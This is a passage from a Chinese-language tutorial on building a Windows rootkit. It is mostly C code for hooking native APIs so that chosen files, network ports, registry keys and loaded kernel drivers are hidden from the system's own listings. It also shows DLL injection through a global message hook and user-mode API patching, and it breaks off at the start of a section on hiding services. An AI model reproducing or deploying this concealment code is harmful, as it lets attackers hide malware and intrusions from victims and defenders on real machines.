_fckxhtmljob="1">FileNameLength=FileCurr-&gt;FileNameLength; //取长度<br _fckxhtmljob="1">RtlInitUnicodeString(&amp;FileNameWide,FileCurr-&gt;FileName);<br _fckxhtmljob="1">RtlUnicodeStringToAnsiString(&amp;FileNameAnsi,&amp;FileNameWide,TRUE);<br _fckxhtmljob="1">if (_strnicmp(HIDDEN_SYSTEM_FILE,FileNameAnsi.Buffer,<br _fckxhtmljob="1">(FileNameLength / 2))==0)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//最后一个文件<br _fckxhtmljob="1">if (LastOne)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if (FileCurr==(LPFILE_NAMES_INFORMATION)<br _fckxhtmljob="1">FileInformationBuffer)<br _fckxhtmljob="1">ntStatus=0x80000006; //隐藏<br _fckxhtmljob="1">else<br _fckxhtmljob="1">FilePrev-&gt;NextEntryOffset=0;<br _fckxhtmljob="1">}<br _fckxhtmljob="1">else<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//移动文件偏移<br _fckxhtmljob="1">Pos=((ULONG)FileCurr)-((ULONG)FileInformationBuffer);<br _fckxhtmljob="1">Left=(DWORD)FileInformationBufferLength-Pos-<br _fckxhtmljob="1">FileCurr-&gt;NextEntryOffset;<br _fckxhtmljob="1">RtlCopyMemory((PVOID)FileCurr,(PVOID)((char *)<br _fckxhtmljob="1">FileCurr+FileCurr-&gt;NextEntryOffset),(DWORD)Left);<br _fckxhtmljob="1">continue;<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//下一文件<br _fckxhtmljob="1">FilePrev=FileCurr;<br _fckxhtmljob="1">FileCurr=(LPFILE_NAMES_INFORMATION)((char *)<br _fckxhtmljob="1">FileCurr+FileCurr-&gt;NextEntryOffset);<br _fckxhtmljob="1">}while (!LastOne);<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">&#8230;&#8230;<br _fckxhtmljob="1">return ntStatus;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">HIDDEN_SYSTEM_FILE同样是宏，另外，文件长度是以Unicode统计的，一个字符占16位，而比较语句是以ANSI比较的，一个字符占8位，所以_strnicmp函数最后的比较大小是FileNameLength / 2，如果以Unicode比较，就不必除以2了。在来看看隐藏端口。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">六、隐藏端口<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">枚举端口使用iphlpapi.dll中的函数，而它们最终调用的是ZwDeviceIoControlFile函数，使用它发送一个特定的IRP获取端口列表，所以只要HOOK了ZwDeviceIoControlFile函数，就可以隐藏端口。函数原型如下：<br _fckxhtmljob="1"><br _fckxhtmljob="1">NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile (<br _fckxhtmljob="1">IN HANDLE FileHandle,<br _fckxhtmljob="1">IN HANDLE Event OPTIONAL,<br _fckxhtmljob="1">IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,<br _fckxhtmljob="1">IN PVOID ApcContext,<br _fckxhtmljob="1">OUT PIO_STATUS_BLOCK IoStatusBlock,<br _fckxhtmljob="1">IN ULONG IoControlCode,<br _fckxhtmljob="1">IN PVOID InputBuffer OPTIONAL,<br _fckxhtmljob="1">IN ULONG InputBufferLength,<br _fckxhtmljob="1">OUT PVOID OutputBuffer OPTIONAL,<br _fckxhtmljob="1">IN ULONG OutputBufferLength);<br _fckxhtmljob="1"><br _fckxhtmljob="1">FileHandle为通信设备的句柄，可以使用ZwQueryObject函数获得其具体信息，对于端口设备的，它的名字总是\Device\Tcp或\Device\Udp；IoControlCode为特定的I/O控制代码，表示要查询的信息。InputBuffer和OutputBuffer分别为输入输出缓冲。<br _fckxhtmljob="1"><br _fckxhtmljob="1">查询端口的I/O控制代码有2个，分别为：0x210012和0x120003，它们所返回的结构、分辨TCP/UDP端口都是不同的，需要分别对待。在我的Windows 2000 SP4下，Netstat使用0x120003，而Fport却使用0x210012。对于0x120003，返回的结构如下：<br _fckxhtmljob="1"><br _fckxhtmljob="1">typedef struct tcpaddrentry //TCP<br _fckxhtmljob="1">{<br _fckxhtmljob="1">ULONG TcpState; //状态<br _fckxhtmljob="1">ULONG TcpLocalAddr; //本地地址<br _fckxhtmljob="1">ULONG TcpLocalPort; //本地端口<br _fckxhtmljob="1">ULONG TcpRemoteAddr; //远程地址<br _fckxhtmljob="1">ULONG TcpRemotePort; //远程端口<br _fckxhtmljob="1">}TCPADDRENTRY,*LPTCPADDRENTRY;<br _fckxhtmljob="1"><br _fckxhtmljob="1">typedef struct udpaddrentry //UDP<br _fckxhtmljob="1">{<br _fckxhtmljob="1">ULONG UdpLocalAddr; //UDP只有本地地址<br _fckxhtmljob="1">ULONG UdpLocalPort; //端口<br _fckxhtmljob="1">}UDPADDRENTRY,*LPUDPADDRENTRY;<br _fckxhtmljob="1"><br _fckxhtmljob="1">很熟悉吧，这正是iphlpapi.dll中的函数返回的结构。对于这2个结构，还可以扩展，则会增加一个进程ID，不过只适用XP/2003，结构就不帖了，可以在RootkitMain.h中查找到。使用这个I/O控制代码进行端口查询，FileHandle的名字总是\Device\Tcp，所以区别TCP和UDP的方法是检查InputBuffer，包括判断是否为扩展结构。<br _fckxhtmljob="1"><br _fckxhtmljob="1">对于TCP查询，输入缓冲的特征是InputBuffer[0]为0x00，如果OutputBuffer中已经有了端口数据，则InputBuffer[17]为0x01，如果是扩展结构，则InputBuffer[16]为0x02。对于UDP查询，InputBuffer[0]就为0x01了，InputBuffer[16]和InputBuffer[17]的值和TCP查询是一样的。我们使用这3个值来区分TCP/UDP端口和是否为扩展结构，OutputBuffer返回的是完整的端口列表缓冲区，使用IoStatusBlock取得端口的数量，隐藏某个端口，就向前移动缓冲区。对于0x210012，返回的结构如下：<br _fckxhtmljob="1"><br _fckxhtmljob="1">typedef struct tdiconnectinfo<br _fckxhtmljob="1">{<br _fckxhtmljob="1">ULONG State;<br _fckxhtmljob="1">ULONG Event;<br _fckxhtmljob="1">ULONG TransmittedTsdus;<br _fckxhtmljob="1">ULONG ReceivedTsdus;<br _fckxhtmljob="1">ULONG TransmissionErrors;<br _fckxhtmljob="1">ULONG ReceiveErrors;<br _fckxhtmljob="1">LARGE_INTEGER Throughput;<br _fckxhtmljob="1">LARGE_INTEGER Delay;<br _fckxhtmljob="1">ULONG SendBufferSize;<br _fckxhtmljob="1">ULONG ReceiveBufferSize;<br _fckxhtmljob="1">BOOLEAN Unreliable;<br _fckxhtmljob="1">}TDI_CONNECTION_INFO,*LPTDI_CONNECTION_INFO;<br _fckxhtmljob="1"><br _fckxhtmljob="1">使用这个I/O控制代码进行端口查询，FileHandle的名字是\Device\Tcp或\Device\Udp，所以分别TCP或UDP不需要输入缓冲，而是使用ZwQueryObject函数获取句柄的名字。OutputBuffer返回的是单独的缓冲区，也就是说，一个端口返回一个，隐藏某个端口，就将返回值设置为STATUS_INVALID_ADDRESS即可。<br _fckxhtmljob="1"><br _fckxhtmljob="1">NTSTATUS NewZwDeviceIoControlFile (<br _fckxhtmljob="1">IN HANDLE FileHandle,<br _fckxhtmljob="1">......)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">......<br _fckxhtmljob="1">//请求原函数<br _fckxhtmljob="1">ntStatus=((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile))(FileHandle,&#8230;&#8230;);<br _fckxhtmljob="1"><br _fckxhtmljob="1">if ((NT_SUCCESS(ntStatus)) &amp;&amp; (IoControlCode==0x210012))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//查询句柄名称 以便确定是TCP还是UDP<br _fckxhtmljob="1">if (NT_SUCCESS(ZwQueryObject(FileHandle,<br _fckxhtmljob="1">OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&amp;RetLen)))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//指向端口列表缓冲区<br _fckxhtmljob="1">lpTdiConnInfo=(LPTDI_CONNECTION_INFO)OutputBuffer;<br _fckxhtmljob="1">RtlUnicodeStringToAnsiString(&amp;ObjectNameAnsi,&amp;ObjectName-&gt;Name,TRUE);<br _fckxhtmljob="1"><br _fckxhtmljob="1">//TCP端口<br _fckxhtmljob="1">if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,<br _fckxhtmljob="1">strlen(TCP_PORT_DEVICE))==0)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if (ntohs(lpTdiConnInfo-&gt;ReceivedTsdus)==HIDDEN_SYSTEM_PORT)<br _fckxhtmljob="1">ntStatus=STATUS_INVALID_ADDRESS; //隐藏<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//UDP端口<br _fckxhtmljob="1">if (_strnicmp(ObjectNameAnsi.Buffer,UDP_PORT_DEVICE,<br _fckxhtmljob="1">strlen(UDP_PORT_DEVICE))==0)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if (ntohs(lpTdiConnInfo-&gt;ReceivedTsdus)==HIDDEN_SYSTEM_PORT) <br _fckxhtmljob="1">ntStatus=STATUS_INVALID_ADDRESS; //隐藏<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">if ((NT_SUCCESS(ntStatus)) &amp;&amp; (IoControlCode==0x120003))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if (NT_SUCCESS(ZwQueryObject(FileHandle,<br _fckxhtmljob="1">OBJECT_NAME_INFORMATION_CLASS,ObjectName,512,&amp;RetLen)))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">RtlUnicodeStringToAnsiString(&amp;ObjectNameAnsi,&amp;ObjectName-&gt;Name,TRUE);<br _fckxhtmljob="1">if (_strnicmp(ObjectNameAnsi.Buffer,TCP_PORT_DEVICE,<br _fckxhtmljob="1">strlen(TCP_PORT_DEVICE))==0)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if (((InBuf=(LPBYTE)InputBuffer)==NULL) || (InputBufferLength&lt;17))<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1"><br _fckxhtmljob="1">if ((InBuf[0]==0x00) &amp;&amp; (InBuf[17]==0x01)) //TCP端口<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if (InBuf[16]!=0x02) //非扩展结构<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//获取端口个数<br _fckxhtmljob="1">Num=IoStatusBlock-&gt;Information / sizeof (TCPADDRENTRY);<br _fckxhtmljob="1">lpTcpAddrEntry=(LPTCPADDRENTRY)OutputBuffer;<br _fckxhtmljob="1"><br _fckxhtmljob="1">for (n=0; n&lt;Num; n++)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if (ntohs(lpTcpAddrEntry[n].TcpLocalPort)==<br _fckxhtmljob="1">HIDDEN_SYSTEM_PORT)<br _fckxhtmljob="1">{<br _fckxhtmljob="1"><br _fckxhtmljob="1">//向前移动端口列表缓冲区<br _fckxhtmljob="1">memcpy((lpTcpAddrEntry+n),(lpTcpAddrEntry+n+1),<br _fckxhtmljob="1">((Num-n-1) * sizeof (TCPADDRENTRY)));<br _fckxhtmljob="1">Num--; //总数--<br _fckxhtmljob="1">n--;<br _fckxhtmljob="1">break;<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//隐藏后端口总数<br _fckxhtmljob="1">IoStatusBlock-&gt;Information=Num * sizeof (TCPADDRENTRY);<br _fckxhtmljob="1">...... <br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1">&#8230;&#8230;<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">return ntStatus;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">0x120003查询的UDP和处理扩展结构的代码就不帖了，和处理TCP一样，无非就是结构不同，隐藏都是memcpy移动缓冲。还有必须检查InBuf[17]是否为0x01，否则指向的OutputBuffer就是NULL指针了。下面的内容是隐藏注册表。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">七、隐藏注册表<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">枚举注册表键和键值使用的Native API是ZwEnumerateKey和ZwEnumerateValueKey函数，它们所做的工作基本一样，都是使用索引获取键/键值，并返回一个缓冲区指针。ZwEnumerateKey函数原型如下，ZwEnumerateValueKey函数和它几乎一样，就不帖出来了。<br _fckxhtmljob="1"><br _fckxhtmljob="1">NTSYSAPI NTSTATUS NTAPI ZwEnumerateKey (<br _fckxhtmljob="1">IN HANDLE KeyHandle, //句柄<br _fckxhtmljob="1">IN ULONG Index, //请求的索引<br _fckxhtmljob="1">IN KEY_INFORMATION_CLASS KeyInformationClass, //获取的信息类型<br _fckxhtmljob="1">OUT PVOID KeyInformation, //返回的缓冲区指针<br _fckxhtmljob="1">IN ULONG Length, //长度<br _fckxhtmljob="1">OUT PULONG ResultLength); //实际长度<br _fckxhtmljob="1"><br _fckxhtmljob="1">DDK中公开了若干注册表函数，所以这2个函数的结构，枚举类型都已经定义好了，直接使用就可以了。KeyInformationClass一共4个值，可喜的是我们不必逐个处理，统一处理就可以了，因为只需要注册表键/键值名和其长度，而返回的这4个结构中都包含这2个结构成员，所以才可以统一处理。这里我们使用KEY_BASIC_INFORMATION结构。<br _fckxhtmljob="1"><br _fckxhtmljob="1">typedef struct _KEY_BASIC_INFORMATION {<br _fckxhtmljob="1">LARGE_INTEGER LastWriteTime;<br _fckxhtmljob="1">ULONG TitleIndex;<br _fckxhtmljob="1">ULONG NameLength;<br _fckxhtmljob="1">WCHAR Name[1]; <br _fckxhtmljob="1">}KEY_BASIC_INFORMATION,*PKEY_BASIC_INFORMATION;<br _fckxhtmljob="1"><br _fckxhtmljob="1">这里我们需要的东西是Name和它的长度NameLength。而对于ZwEnumerateValueKey函数，我们使用KEY_VALUE_BASIC_INFORMATION结构（和KEY_BASIC_INFORMATION几乎一样，所以请查询DDK Documentation文档）。<br _fckxhtmljob="1"><br _fckxhtmljob="1">枚举注册表键/键值，是通过索引获取的，这样的话，我们隐藏了一个注册表键/键值，那其后的所有索引都需要改变。这里就需要有一个标界，理所当然是利用KeyHandle的值，不同子键的句柄值是不同的。举个例子，例如隐藏了KeyHandle为1下的某一个注册表键，那么其后KeyHandle为1下的所有索引（注册表键）都需要+1，而不是KeyHandle为1的就不需要加了。具体看一下代码，这里仍以ZwEnumerateKey函数为例。<br _fckxhtmljob="1"><br _fckxhtmljob="1">NTSTATUS NewZwEnumerateKey (<br _fckxhtmljob="1">IN HANDLE KeyHandle,<br _fckxhtmljob="1">......)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">......<br _fckxhtmljob="1">static HANDLE RegHandle=NULL;<br _fckxhtmljob="1">static LONG RegIndex=0;<br _fckxhtmljob="1"><br _fckxhtmljob="1">if (RegHandle==KeyHandle) //同一句柄<br _fckxhtmljob="1">Index+=RegIndex; //加上隐藏的注册表键个数<br _fckxhtmljob="1">else<br _fckxhtmljob="1">{<br _fckxhtmljob="1">RegIndex=0; //否则重新赋值为0<br _fckxhtmljob="1">RegHandle=NULL;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//请求原函数<br _fckxhtmljob="1">ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,&#8230;&#8230;);<br _fckxhtmljob="1"><br _fckxhtmljob="1">if (NT_SUCCESS(ntStatus))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//指向注册表键缓冲区<br _fckxhtmljob="1">lpKeyBasic=(KEY_BASIC_INFORMATION *)KeyInformation);<br _fckxhtmljob="1">RtlInitUnicodeString(&amp;RegsNameWide,lpKeyBasic-&gt;Name);<br _fckxhtmljob="1">RtlUnicodeStringToAnsiString(&amp;RegsNameAnsi,&amp;RegsNameWide,TRUE);<br _fckxhtmljob="1"><br _fckxhtmljob="1">if (_strnicmp(HIDDEN_SYSTEM_KEY,RegsNameAnsi.Buffer,<br _fckxhtmljob="1">(lpKeyBasic-&gt;NameLength / 2))==0)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">RegHandle=KeyHandle; //取句柄值<br _fckxhtmljob="1">RegIndex++; //隐藏个数<br _fckxhtmljob="1">Index++; //索引加1<br _fckxhtmljob="1"><br _fckxhtmljob="1">//再次请求 跳过隐藏的注册表键<br _fckxhtmljob="1">ntStatus=((ZWENUMERATEKEY)(OldZwEnumerateKey)) (KeyHandle,&#8230;&#8230;);<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">&#8230;&#8230;<br _fckxhtmljob="1">return ntStatus;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">使用这种方法隐藏注册表键/键值，发现有时不同子键的KeyHandle值也是相同的，这就造成了多隐藏数据。解决的办法是HOOK了ZwOpenKey函数，使用ZwOpenKey函数的KeyHandle枚举键/键值（使用ZwEnumerateKey和ZwEnumerateValueKey函数），并记录下需要隐藏的索引，然后在ZwEnumerateKey或ZwEnumerateValueKey函数中Index参数进行比较，如果相等，就隐藏了（索引+1即可），这样上面的问题就可以解决了。如果想要做的更隐蔽，像ZwQueryKey、ZwDeleteKey等函数都需要HOOK，我这里只是演示程序，没写这么详细，这些内容就留给各位读者自己实践了（嘿嘿，这叫偷懒）。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">八、隐藏内核模块<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">所谓内核模块，就是内核加载的驱动信息，DDK中的Drivers.exe可以枚举出系统的内核模块列表，它最终调用的是ZwQuerySystemInformation函数，信息类为11，表示获取系统的内核模块。如果要隐藏某个内核模块，就像上边介绍隐藏系统句柄一样，memcpy移动缓冲区，所以这里介绍另一种隐藏方法：从PsLoadedModuleList链上摘除内核模块。PsLoadedModuleList是系统中一个未公开的内核变量（LIST_ENTRY链表），保存着系统的内核模块。使用这种方法隐藏的关键是找到PsLoadedModuleList的地址，好在前人已经给出了方法，用驱动程序对象+14h即可定位PsLoadedModuleList。我们首先需要定义一个结构（这个结构虽然不是完整的，但我可以保证它正常工作）。GetPsLoadedModuleList函数查找PsLoadedModuleList的地址，HideAmlName函数隐藏内核模块，代码如下：<br _fckxhtmljob="1"><br _fckxhtmljob="1">typedef struct moduleentry<br _fckxhtmljob="1">{<br _fckxhtmljob="1">LIST_ENTRY ListEntry;<br _fckxhtmljob="1">DWORD Unknown[4];<br _fckxhtmljob="1">DWORD Base;<br _fckxhtmljob="1">DWORD DriverStart;<br _fckxhtmljob="1">DWORD Unknown1;<br _fckxhtmljob="1">UNICODE_STRING DriverPath;<br _fckxhtmljob="1">UNICODE_STRING DriverName;<br _fckxhtmljob="1">}MODULE_ENTRY,*LPMODULE_ENTRY;<br _fckxhtmljob="1"><br _fckxhtmljob="1">DWORD GetPsLoadedModuleList (IN PDRIVER_OBJECT DriverObject)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">......<br _fckxhtmljob="1">if (DriverObject)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//驱动程序对象+14h处是PsLoadedModuleList地址<br _fckxhtmljob="1">if ((lpModuleEntry=*((LPMODULE_ENTRY *)<br _fckxhtmljob="1">((DWORD)DriverObject+0x14)))==NULL)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">return (DWORD)lpModuleEntry; //返回PsLoadedModuleList地址<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">NTSTATUS HideAmlName (TCHAR *HideModule)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if (ModuleEntry)<br _fckxhtmljob="1">CurrentModuleEntry=ModuleEntry;<br _fckxhtmljob="1">else<br _fckxhtmljob="1">return STATUS_UNSUCCESSFUL;<br _fckxhtmljob="1">//这是双向链表<br _fckxhtmljob="1">while ((LPMODULE_ENTRY)CurrentModuleEntry-&gt;ListEntry.Flink!=ModuleEntry)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">if ((CurrentModuleEntry-&gt;Unknown1!=0) &amp;&amp; <br _fckxhtmljob="1">(CurrentModuleEntry-&gt;DriverPath.Length!=0))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">RtlUnicodeStringToAnsiString(&amp;DriverNameAnsi,<br _fckxhtmljob="1">&amp;CurrentModuleEntry-&gt;DriverName,TRUE);<br _fckxhtmljob="1"><br _fckxhtmljob="1">if (_strnicmp(HideModule,DriverNameAnsi.Buffer,<br _fckxhtmljob="1">strlen(DriverNameAnsi.Buffer))==0)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">*((DWORD *)CurrentModuleEntry-&gt;ListEntry.Blink)=<br _fckxhtmljob="1">(DWORD)CurrentModuleEntry-&gt;ListEntry.Flink;<br _fckxhtmljob="1">CurrentModuleEntry-&gt;ListEntry.Flink-&gt;Blink=<br _fckxhtmljob="1">CurrentModuleEntry-&gt;ListEntry.Blink;<br _fckxhtmljob="1">break;<br _fckxhtmljob="1">}<br _fckxhtmljob="1">}<br _fckxhtmljob="1">//向下移动<br _fckxhtmljob="1">CurrentModuleEntry=(LPMODULE_ENTRY)<br _fckxhtmljob="1">CurrentModuleEntry-&gt;ListEntry.Flink;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">return STATUS_SUCCESS;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">从PsLoadedModuleList链上摘除内核模块后，ZwQuerySystemInformation函数就无法枚举出它了。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">九、用户态HOOK<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">用户态的HOOK有很多方法，比如修改函数的前5个字节，修改输入表等，这里采用eyas大哥的方法COPY DLL，主要是这种方法效率不错。HOOK新进程采用消息钩子，所以需要编写成DLL。<br _fckxhtmljob="1"><br _fckxhtmljob="1">HOOK的步骤首先将需要HOOK的DLL加载到当前进程的地址空间中，然后使用PSAPI中的GetModuleInformation函数获取DLL信息，目的是得到DLL的加载地址。<br _fckxhtmljob="1"><br _fckxhtmljob="1">BOOL InitHookDll (TCHAR *Name,LPDLLINFO lpHookDllInfo)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//取得摸快句炳<br _fckxhtmljob="1">if ((lpHookDllInfo-&gt;hModule=LoadLibrary(Name))==NULL)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//获取摸快信息<br _fckxhtmljob="1">if (!GetModuleInformation(GetCurrentProcess(),lpHookDllInfo-&gt;hModule,<br _fckxhtmljob="1">&amp;lpHookDllInfo-&gt;ModuleInfo,sizeof(MODULEINFO)))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">if ((lpHookDllInfo-&gt;NewBase=malloc <br _fckxhtmljob="1">(lpHookDllInfo-&gt;ModuleInfo.SizeOfImage))==NULL)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//取得摸快地址<br _fckxhtmljob="1">memcpy(lpHookDllInfo-&gt;NewBase,lpHookDllInfo-&gt;ModuleInfo.lpBaseOfDll,<br _fckxhtmljob="1">lpHookDllInfo-&gt;ModuleInfo.SizeOfImage);<br _fckxhtmljob="1">return TRUE;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">DLLINFO是一个自定义结构，保存着模块的句柄、地址等。DLL加载后，模块信息也有了，下面使用GetProcAddress函数取HOOK函数地址，VirtualQuery函数获取虚拟内存信息，VirtualProtect函数改变页面属性，最后修改原函数的地址（GetProcAddress函数的返回值）使其指向我们的代码。<br _fckxhtmljob="1"><br _fckxhtmljob="1">BOOL HookUserApi (LPDLLINFO lpHookDllInfo,TCHAR *Name,DWORD OldFunc,DWORD *NewFunc)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//取得需要HOOK函数的地址<br _fckxhtmljob="1">if ((OrigFunc=(DWORD) GetProcAddress (lpHookDllInfo-&gt;hModule,Name))==NULL)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//获取虚拟内存信息<br _fckxhtmljob="1">if (!VirtualQuery((LPVOID)OrigFunc,&amp;mbi,<br _fckxhtmljob="1">sizeof(MEMORY_BASIC_INFORMATION)))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//改变页面属性为读，写，执行<br _fckxhtmljob="1">if (!VirtualProtect(mbi.BaseAddress,mbi.RegionSize,<br _fckxhtmljob="1">PAGE_EXECUTE_READWRITE,&amp;Protect))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">//HOOK<br _fckxhtmljob="1">JmpCode.mov_eax=(BYTE)0xB8;<br _fckxhtmljob="1">JmpCode.address=(LPVOID)OldFunc;<br _fckxhtmljob="1">JmpCode.jmp_eax=(WORD)0xE0FF;<br _fckxhtmljob="1"><br _fckxhtmljob="1">//计算原函数地址<br _fckxhtmljob="1">*NewFunc=OrigFunc - (DWORD)lpHookDllInfo-&gt;ModuleInfo.lpBaseOfDll <br _fckxhtmljob="1">+ (DWORD)lpHookDllInfo-&gt;NewBase;<br _fckxhtmljob="1">//修改原函数地址，指向OldFunc<br _fckxhtmljob="1">memcpy((LPVOID)OrigFunc,(UCHAR *)&amp;JmpCode,sizeof(ASMJUMP));<br _fckxhtmljob="1">return TRUE;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">JmpCode是HOOK结构，保存着我们的函数的地址和JMP的跳转地址。有了上面这2个函数，就可以HOOK任何DLL中的函数了，例如枚举用户使用的是NetUserEnum函数，封装在Netapi32.dll中，HOOK例子如下：<br _fckxhtmljob="1"><br _fckxhtmljob="1">DWORD WINAPI HookMain (LPVOID lpNot)<br _fckxhtmljob="1">{ <br _fckxhtmljob="1">if (!(InitHookDll("netapi32.dll",&amp;Netapi32)))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">if (!(HookUserApi(&amp;Netapi32,"NetUserEnum",(DWORD)HookNetUserEnum,<br _fckxhtmljob="1">&amp;NewNetUserEnum)))<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">......<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">HookMain函数需要在DllMain中调用，因为消息钩子加载DLL后，就应该立刻进行API HOOK。Netapi32是DLLINFO结构，保存着Netapi32.dll的信息；HookNetUserEnum是我们的函数，NewNetUserEnum是原函数地址。现在只差消息钩子函数了，安装/卸载消息钩子的函数需要引出，消息钩子的类型是WH_GETMESSAGE，钩子回调函数什么都不做，只是向下传递，因为我们的目的是使新进程加载DLL。<br _fckxhtmljob="1"><br _fckxhtmljob="1">LRESULT WINAPI Hook (int nCode,WPARAM wParam,LPARAM lParam)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//向下传递<br _fckxhtmljob="1">return CallNextHookEx(hHook,nCode,wParam,lParam);<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">extern "C" __declspec(dllexport) BOOL InstallHook()<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//安装钩子<br _fckxhtmljob="1">if ((hHook=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)Hook,<br _fckxhtmljob="1">hInst,0))==NULL)<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//错误处理<br _fckxhtmljob="1">}<br _fckxhtmljob="1">return TRUE;<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">extern "C" __declspec(dllexport) BOOL UninstallHook()<br _fckxhtmljob="1">{<br _fckxhtmljob="1">//卸载钩子<br _fckxhtmljob="1">return UnhookWindowsHookEx(hHook);<br _fckxhtmljob="1">}<br _fckxhtmljob="1"><br _fckxhtmljob="1">hInst是在DllMain函数中保存的句柄，这是必须的，否则钩子不会安装成功。用户态的HOOK有很多种方法，用哪个随便你了，只要能HOOK API就行！下面介绍隐藏服务/驱动。<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">十、隐藏服务/驱动<br _fckxhtmljob="1"><br _fckxhtmljob="1"><br _fckxhtmljob="1">枚举服务使用的是Advapi32.dll中的5个函数，这5个函数在每个Windows系统中的联系都不一样，所以需要HOOK所有函数。<br _fckxhtmljob="1"><br _fckxhtmljob="1">EnumServicesStatusA()<br _fckxhtmljob="1">EnumServicesStatusW()<br _fckxhtmljob="1">EnumServicesStatusExA()<br _fckxhtmljob="1">EnumServicesStatusExW()<br _fckxhtmljob="1">EnumServiceGroupW()<br _fckxhtmljob="1"><br 